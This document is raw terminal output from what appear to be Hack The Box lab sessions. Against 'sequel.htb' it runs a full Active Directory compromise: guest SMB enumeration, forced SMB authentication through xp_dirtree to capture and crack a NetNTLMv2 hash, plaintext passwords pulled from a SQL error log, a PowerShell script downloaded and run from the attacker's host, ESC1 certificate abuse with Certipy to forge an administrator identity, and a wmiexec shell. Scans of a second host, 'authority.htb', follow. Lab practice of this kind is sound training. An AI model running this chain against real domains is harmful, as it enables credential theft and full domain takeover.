[-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User James.Roberts doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Nicole.Thompson doesn't have UF_DONT_REQUIRE_PREAUTH set❯ nxc smb 10.10.11.202 -u 'guest' -p '' --shares
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share ❯ nxc smb 10.10.11.202 -u 'guest' -p '' -M spider_plus
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SPIDER_PLUS 10.10.11.202 445 DC [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.202 445 DC [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.202 445 DC [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.202 445 DC [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.202 445 DC [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] OUTPUT_FOLDER: /tmp/nxc_hosted/nxc_spider_plus
SMB 10.10.11.202 445 DC [*] Enumerated shares
SMB 10.10.11.202 445 DC Share Permissions Remark
SMB 10.10.11.202 445 DC ----- ----------- ------
SMB 10.10.11.202 445 DC ADMIN$ Remote Admin
SMB 10.10.11.202 445 DC C$ Default share
SMB 10.10.11.202 445 DC IPC$ READ Remote IPC
SMB 10.10.11.202 445 DC NETLOGON Logon server share
SMB 10.10.11.202 445 DC Public READ
SMB 10.10.11.202 445 DC SYSVOL Logon server share
SPIDER_PLUS 10.10.11.202 445 DC [+] Saved share-file metadata to "/tmp/nxc_hosted/nxc_spider_plus/10.10.11.202.json".
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Shares: 6 (ADMIN$, C$, IPC$, NETLOGON, Public, SYSVOL)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Readable Shares: 2 (IPC$, Public)
SPIDER_PLUS 10.10.11.202 445 DC [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] Total folders found: 0
SPIDER_PLUS 10.10.11.202 445 DC [*] Total files found: 1
SPIDER_PLUS 10.10.11.202 445 DC [*] File size average: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size min: 48.39 KB
SPIDER_PLUS 10.10.11.202 445 DC [*] File size max: 48.39 KB❯ cat /tmp/nxc_hosted/nxc_spider_plus/10.10.11.202.json | jq
{
"Public": {
"SQL Server Procedures.pdf": {
"atime_epoch": "2022-11-19 12:50:54",
"ctime_epoch": "2022-11-17 20:47:32",
"mtime_epoch": "2022-11-19 12:51:25",
"size": "48.39 KB"
}
}
}❯ nxc smb 10.10.11.202 -u 'guest' -p '' --share 'Public' --get-file 'SQL Server Procedures.pdf' SQLServerProcedures.pdf
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\guest:
SMB 10.10.11.202 445 DC [*] Copying "SQL Server Procedures.pdf" to "SQLServerProcedures.pdf"
SMB 10.10.11.202 445 DC [+] File "SQL Server Procedures.pdf" was downloaded to "SQLServerProcedures.pdf"❯ impacket-mssqlclient sequel.htb/'PublicUser':'GuestUserCantWrite1'@10.10.11.202 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLMOCK): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLMOCK): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (PublicUser guest@master)> enum_db;
name is_trustworthy_on
------ -----------------
master 0
tempdb 0
model 0
msdb 1 SQL (PublicUser guest@master)> EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
ERROR(DC\SQLMOCK): Line 105: User does not have permission to perform this action.
ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC\SQLMOCK): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC\SQLMOCK): Line 1: You do not have permission to run the RECONFIGURE statement.❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsedSQL (PublicUser guest@master)> EXEC Master.dbo.xp_dirtree"\\10.10.16.3\x",1,1;
subdirectory depth file
------------ ----- ----
SQL (PublicUser guest@master)>❯ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.202,55936)
[*] AUTHENTICATE_MESSAGE (sequel\sql_svc,DC)
[*] User DC\sql_svc authenticated successfully
[*] sql_svc::sequel:aaaaaaaaaaaaaaaa:e88ef89eb51ddb11681649f6078294fe:010100000000000080cbce391483db01e9c1c347e2fa202900000000010010006d006c004300430052006b0066006d00030010006d006c004300430052006b0066006d00020010006500610050004a007000710057007100040010006500610050004a0070007100570071000700080080cbce391483db01060004000200000008003000300000000000000000000000003000008e95df638ff6f53618e3a9748a9c51690f0ea0b3d458d87764b8c66a702fd6500a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0033000000000000000000
[*] Closing down connection (10.10.11.202,55936)
[*] Remaining connections []❯ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-sandybridge-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2913/5891 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5600 | NetNTLMv2 | Network Protocol
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
SQL_SVC::sequel:aaaaaaaaaaaaaaaa:e88ef89eb51ddb11681649f6078294fe:010100000000000080cbce391483db01e9c1c347e2fa202900000000010010006d006c004300430052006b0066006d00030010006d006c004300430052006b0066006d00020010006500610050004a007000710057007100040010006500610050004a0070007100570071000700080080cbce391483db01060004000200000008003000300000000000000000000000003000008e95df638ff6f53618e3a9748a9c51690f0ea0b3d458d87764b8c66a702fd6500a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310036002e0033000000000000000000:REGGIE1234ronnie❯ nxc smb 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'
SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.202 445 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie
❯ nxc winrm 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'
WINRM 10.10.11.202 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb)
WINRM 10.10.11.202 5985 DC [+] sequel.htb\sql_svc:REGGIE1234ronnie (Pwn3d!)❯ evil-winrm -i 10.10.11.202 -u 'sql_svc' -p 'REGGIE1234ronnie'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\sql_svc\Documents> *Evil-WinRM* PS C:\SQLServer\Logs> ls
Directory: C:\SQLServer\Logs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/7/2023 8:06 AM 27608 ERRORLOG.BAK
*Evil-WinRM* PS C:\SQLServer\Logs> download ERRORLOG.BAK
Info: Downloading C:\SQLServer\Logs\ERRORLOG.BAK to ERRORLOG.BAK
Info: Download successful!2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'NuclearMosquito3'. Reason: Password did not match that for the login provided. [CLIENT: 127.0.0.1]❯ nxc winrm 10.10.11.202 -u 'Ryan.Cooper' -p 'NuclearMosquito3'
WINRM 10.10.11.202 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:sequel.htb)
WINRM 10.10.11.202 5985 DC [+] sequel.htb\Ryan.Cooper:NuclearMosquito3 (Pwn3d!)
❯ evil-winrm -i 10.10.11.202 -u 'Ryan.Cooper' -p 'NuclearMosquito3'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> type ../Desktop/user.txt
4b79e2057279*********************❯ wget https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1
--2025-02-20 08:22:11-- https://raw.githubusercontent.com/61106960/adPEAS/refs/heads/main/adPEAS.ps1
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.108.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 3493853 (3,3M) [text/plain]
Grabando a: «adPEAS.ps1»
adPEAS.ps1 100%[==================================================================================================================================>] 3,33M --.-KB/s en 0,1s
2025-02-20 08:22:12 (30,2 MB/s) - «adPEAS.ps1» guardado [3493853/3493853]
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> IEX (New-Object Net.WebClient).downloadString("http://10.10.16.3/adPEAS.ps1")
*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents> Invoke-adPEAS[?] +++++ Searching for Active Directory Certificate Services Information +++++
[+] Found at least one available Active Directory Certificate Service
adPEAS does basic enumeration only, consider reading https://posts.specterops.io/certified-pre-owned-d95910965cd2
[+] Found Active Directory Certificate Services 'sequel-DC-CA':
CA Name: sequel-DC-CA
CA dnshostname: dc.sequel.htb
CA IP Address: 10.10.11.202
Date of Creation: 11/18/2022 21:08:46
DistinguishedName: CN=sequel-DC-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sequel,DC=htb
NTAuthCertificates: True
Available Templates: UserAuthentication
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[?] +++++ Searching for Vulnerable Certificate Templates +++++
adPEAS does basic enumeration only, consider using https://github.com/GhostPack/Certify or https://github.com/ly4k/Certipy
[?] +++++ Checking Template 'UserAuthentication' +++++
[!] Template 'UserAuthentication' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[!] Identity 'sequel\sql_svc' has 'GenericAll' permissions on template 'UserAuthentication'
[+] Identity 'sequel\Domain Users' has enrollment rights for template 'UserAuthentication'
Template Name: UserAuthentication
Template distinguishedname: CN=UserAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=sequel,DC=htb
Date of Creation: 11/18/2022 21:10:22
[+] Extended Key Usage: Client Authentication, Secure E-mail, Encrypting File System
EnrollmentFlag: INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
[!] CertificateNameFlag: ENROLLEE_SUPPLIES_SUBJECT
[!] Template Permissions: sequel\sql_svc : GenericAll
[+] Enrollment allowed for: sequel\Domain Users❯ sudo ntpdate -s 10.10.11.202❯ certipy-ad find -u 'sql_svc'@10.10.11.202 -p 'REGGIE1234ronnie' -dc-ip 10.10.11.202 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[*] Got CA configuration for 'sequel-DC-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : sequel-DC-CA
DNS Name : dc.sequel.htb
Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
Certificate Validity Start : 2022-11-18 20:58:46+00:00
Certificate Validity End : 2121-11-18 21:08:46+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates : [!] Could not find any certificate templates❯ certipy-ad find -u 'Ryan.Cooper'@10.10.11.202 -p 'NuclearMosquito3' -dc-ip 10.10.11.202 -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'sequel-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'sequel-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'sequel-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'sequel-DC-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : sequel-DC-CA
DNS Name : dc.sequel.htb
Certificate Subject : CN=sequel-DC-CA, DC=sequel, DC=htb
Certificate Serial Number : 1EF2FA9A7E6EADAD4F5382F4CE283101
Certificate Validity Start : 2022-11-18 20:58:46+00:00
Certificate Validity End : 2121-11-18 21:08:46+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : SEQUEL.HTB\Administrators
Access Rights
ManageCertificates : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
ManageCa : SEQUEL.HTB\Administrators
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
Enroll : SEQUEL.HTB\Authenticated Users
Certificate Templates
0
Template Name : UserAuthentication
Display Name : UserAuthentication
Certificate Authorities : sequel-DC-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 10 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Domain Users
SEQUEL.HTB\Enterprise Admins
Object Control Permissions
Owner : SEQUEL.HTB\Administrator
Write Owner Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
Write Dacl Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
Write Property Principals : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
SEQUEL.HTB\Administrator
[!] Vulnerabilities
ESC1 : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication❯ certipy-ad req -u Ryan.Cooper@sequel.htb -p "NuclearMosquito3" -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb -dc-ip 10.10.11.202
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with UPN 'administrator@sequel.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'❯ certipy-ad auth -pfx administrator.pfx -username Administrator -domain sequel.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@sequel.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:a52f78e4c751e5f5e17e1e9f3e58f4ee❯ KRB5CCNAME=administrator.ccache wmiexec.py sequel.htb/Administrator@dc.sequel.htb -k -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sequel\administrator
C:\>type C:\Users\Administrator\Desktop\root.txt
fbbbbb4a3************************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.222 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 04:07 CET
Initiating SYN Stealth Scan at 04:07
Scanning 10.10.11.222 [65535 ports]
Discovered open port 135/tcp on 10.10.11.222
Discovered open port 445/tcp on 10.10.11.222
Discovered open port 139/tcp on 10.10.11.222
Discovered open port 80/tcp on 10.10.11.222
Discovered open port 53/tcp on 10.10.11.222
Discovered open port 9389/tcp on 10.10.11.222
Discovered open port 47001/tcp on 10.10.11.222
Discovered open port 49667/tcp on 10.10.11.222
Discovered open port 464/tcp on 10.10.11.222
Discovered open port 53249/tcp on 10.10.11.222
Discovered open port 3268/tcp on 10.10.11.222
Discovered open port 49664/tcp on 10.10.11.222
Discovered open port 5985/tcp on 10.10.11.222
Discovered open port 88/tcp on 10.10.11.222
Discovered open port 49692/tcp on 10.10.11.222
Discovered open port 49673/tcp on 10.10.11.222
Discovered open port 593/tcp on 10.10.11.222
Discovered open port 49704/tcp on 10.10.11.222
Discovered open port 49665/tcp on 10.10.11.222
Discovered open port 49695/tcp on 10.10.11.222
Discovered open port 3269/tcp on 10.10.11.222
Discovered open port 49709/tcp on 10.10.11.222
Discovered open port 49696/tcp on 10.10.11.222
Discovered open port 49693/tcp on 10.10.11.222
Discovered open port 53230/tcp on 10.10.11.222
Discovered open port 636/tcp on 10.10.11.222
Discovered open port 8443/tcp on 10.10.11.222
Discovered open port 389/tcp on 10.10.11.222
Discovered open port 49666/tcp on 10.10.11.222
Completed SYN Stealth Scan at 04:07, 28.08s elapsed (65535 total ports)
Nmap scan report for 10.10.11.222
Host is up, received user-set (0.13s latency).
Scanned at 2025-02-22 04:07:03 CET for 28s
Not shown: 62136 closed tcp ports (reset), 3370 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
8443/tcp open https-alt syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49692/tcp open unknown syn-ack ttl 127
49693/tcp open unknown syn-ack ttl 127
49695/tcp open unknown syn-ack ttl 127
49696/tcp open unknown syn-ack ttl 127
49704/tcp open unknown syn-ack ttl 127
49709/tcp open unknown syn-ack ttl 127
53230/tcp open unknown syn-ack ttl 127
53249/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.18 seconds
Raw packets sent: 79038 (3.478MB) | Rcvd: 62564 (2.503MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.222
[*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001,49664,49665,49666,49667,49673,49692,49693,49695,49696,49704,49709,53230,53249
[*] Ports copied to clipboard❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8443,9389,47001,49664,49665,49666,49667,49673,49692,49693,49695,49696,49704,49709,53230,53249 10.10.11.222 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 04:07 CET
Nmap scan report for authority.htb (10.10.11.222)
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-22 05:39:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2025-02-22T05:40:59+00:00; +2h31m41s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2025-02-22T05:41:00+00:00; +2h31m41s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2025-02-22T05:40:59+00:00; +2h31m41s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: authority.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: othername: UPN:AUTHORITY$@htb.corp, DNS:authority.htb.corp, DNS:htb.corp, DNS:HTB
| Not valid before: 2022-08-09T23:03:21
|_Not valid after: 2024-08-09T23:13:21
|_ssl-date: 2025-02-22T05:41:00+00:00; +2h31m41s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8443/tcp open ssl/http Apache Tomcat (language: en)
| ssl-cert: Subject: commonName=172.16.2.118
| Not valid before: 2025-02-20T05:32:37
|_Not valid after: 2027-02-22T17:11:01
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49692/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49693/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
53230/tcp open msrpc Microsoft Windows RPC
53249/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Microsoft Windows 2019|10|2012|2022|2016|2008|7|Vista (95%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_vista::sp1:home_premium
Aggressive OS guesses: Microsoft Windows Server 2019 (95%), Windows Server 2019 (92%), Microsoft Windows 10 1909 (92%), Microsoft Windows 10 1909 - 2004 (92%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2022 (91%), Microsoft Windows Server 2016 (90%), Microsoft Windows 10 20H2 (89%), Microsoft Windows 10 20H2 - 21H1 (89%), Microsoft Windows 10 21H2 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: AUTHORITY; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-02-22T05:40:53
|_ start_date: N/A
|_clock-skew: mean: 2h31m40s, deviation: 0s, median: 2h31m40s
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 207.94 ms 10.10.16.1
2 85.60 ms authority.htb (10.10.11.222)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.49 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ nxc smb 10.10.11.222
SMB 10.10.11.222 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:False)
❯ ldapsearch -x -H ldap://10.10.11.222 -s base | grep defaultNamingContext
defaultNamingContext: DC=authority,DC=htb❯ cat /etc/hosts | grep authority
10.10.11.222 authority.htb AUTHORITY.authority.htb❯ feroxbuster -u http://10.10.11.222/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.222/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
